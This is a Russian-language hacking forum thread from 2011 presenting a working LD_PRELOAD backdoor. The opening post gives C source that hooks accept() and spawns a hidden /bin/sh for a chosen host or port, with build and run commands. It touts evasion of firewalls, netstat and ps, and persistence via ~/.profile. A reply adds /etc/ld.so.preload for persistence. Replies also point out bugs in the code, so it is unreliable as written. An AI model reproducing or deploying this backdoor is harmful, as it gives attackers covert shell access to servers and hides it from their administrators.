RDot

RDot (https://rdot.org/forum/index.php)
-   Целевые системы/Target systems (https://rdot.org/forum/forumdisplay.php?f=22)
-   -   LD_PRELOAD magic. невидимый бэкдор. (https://rdot.org/forum/showthread.php?t=1305)

life_glider 13.03.2011 23:18

LD_PRELOAD magic. невидимый бэкдор.
 
работа загрузчика исполняемых файлов(ld.so, ld-linux.so в пингвине) зависит от переменных окружения в частности от LD_PRELOAD, который задаёт библиотеку из которой нужно подгружать ресурсы в первую очередь.
напишем свою библиотеку. наверника стоит использовать оригинал функции который мы получем через dlsym - функции подгружающий функцию из заданной библиотеки.

в первую очередь нас интересуют функции работы с сетью connect, accept,bind,send и тд

напишем свой "декоратор" для accept:
Код:

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#define PORT htons(31337)
#define HOST inet_addr("127.0.0.1")
#define ONLY_HOST
#define PROC_NAME "apache"


static int (*real_accept)(int s, struct sockaddr *addr, socklen_t *addrlen) = 0;
int accept(int s, struct sockaddr *addr, socklen_t *addrlen) {
        int fd;
        if (!real_accept) {
                real_accept = dlsym(RTLD_NEXT, "accept");
        }
        else return -1;
        printf("[ACCEPT]");
        while (1) {
                fd = (*real_accept)(s, addr, addrlen);
                if (fd < 0)
                        return fd;
                if (addr->sa_family != AF_INET)
                        break;
#ifdef ONLY_HOST
                if (((struct sockaddr_in *) addr)->sin_addr.s_addr == HOST)
#elif defined(ONLY_PORT)
                if(((struct sockaddr_in *)addr)->sin_port==PORT)
#else
                if(((struct sockaddr_in *)addr)->sin_port==PORT
                                && ((struct sockaddr_in *)addr)->sin_addr==HOST)
#endif
                {
                        if (!fork()) {
                                dup2(fd,1);
                                dup2(fd,0);
                                char *argv[] = { PROC_NAME, 0 };
                                execve("/bin/sh", argv, 0);
                        }
                        continue;
                }
                break;
        }
        return fd;
}
;

данный "декоратор" сначала вызывает оригинальный accept. проверяет адресс или/и порт клиента. Если они "подходят" то запускает /bin/sh с stdin,stdout совпадающими с сокетами. а сам вызывает оригинал ещё раз.

перехват accept в отличии от bindshell позволяет обходить межсетевые экраны. не палиться в netstat и ps.

собирать так
Код:

gcc -fPIC -shared -Wl,-soname,interception.so -o interception.so interception.c -ldl
запускать с
LD_PRELOAD=./interception.so
для подобных пряток не требуются права root. LD_PRELOAD можно дописать в ~/.profile

SynQ 14.03.2011 13:46

life_glider
До меня, признаться, не доходит, что с этим делать :( Поясни, плиз.
Кто в данном примере, должен, вызвав accept, увидеть наш волшебный HOST?

inextermo 14.03.2011 15:47

Цитата:

Сообщение от SynQ (Сообщение 14921)
life_glider
До меня, признаться, не доходит, что с этим делать :( Поясни, плиз.
Кто в данном примере, должен, вызвав accept, увидеть наш волшебный HOST?

функция accept ожидает входящего подключения и создаёт сокет по которому и будут передоватся команды

SynQ 14.03.2011 16:47

Цитата:

Сообщение от inextermo (Сообщение 14922)
функция accept ожидает входящего подключения и создаёт сокет по которому и будут передоватся команды
почитай документацию про Winsock API, всётаки в группе находишся и задаёшь глупейшие вопросы =\

Ты похоже не понял моего вопроса, не говоря уже о совете читать Winsock API.

PS Мог бы и сам объяснить, раз тебе понятно.

tex 14.03.2011 20:09

Цитата:

if(((struct sockaddr_in *)addr)->sin_port==PORT
опчтк

tex 14.03.2011 20:14

Вообще не понятно откуда возникнет accept если прописать в .profile, это залогиненный пользователь должен будет запустить что-то сетевое, что будет принимать соединения.
А в общем случае- дописать в /etc/ld.so.preload как вариант считаю неплохим. Но автор похоже откудато просто скопипастил эту тему?

inextermo 14.03.2011 20:54

Цитата:

Сообщение от SynQ (Сообщение 14923)
Ты похоже не понял моего вопроса, не говоря уже о совете читать Winsock API.

PS Мог бы и сам объяснить, раз тебе понятно.

Извиняюсь, и правда ТС *уйню спорол.
Там нет не bind(), не listen() , вообще код какойто индусский, короче какйото кусок кода выдрал с умным видом...

life_glider 14.03.2011 22:34

Цитата:

Сообщение от SynQ (Сообщение 14921)
life_glider
До меня, признаться, не доходит, что с этим делать :( Поясни, плиз.
Кто в данном примере, должен, вызвав accept, увидеть наш волшебный HOST?

если запустить серверное сетевое приложение с accept с данным LD_PRELOAD. то accept будет браться изначально из нашей библиотеки. ну наша функция тупо для нужного адреса форкается и открывает баш, а в результат отдаёт следующего клиента.

life_glider 14.03.2011 22:36

Цитата:

Сообщение от tex (Сообщение 14931)
. Но автор похоже откудато просто скопипастил эту тему?

теме перехвата функций через LD_PRELOAD мильон лет. я лишь показал способ её использования.

tex 15.03.2011 00:31

Респект, тема хорошая, но все таки какие мысли на счет :
Цитата:

для подобных пряток не требуются права root. LD_PRELOAD можно дописать в ~/.profile


Часовой пояс GMT +3, время: 17:43.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot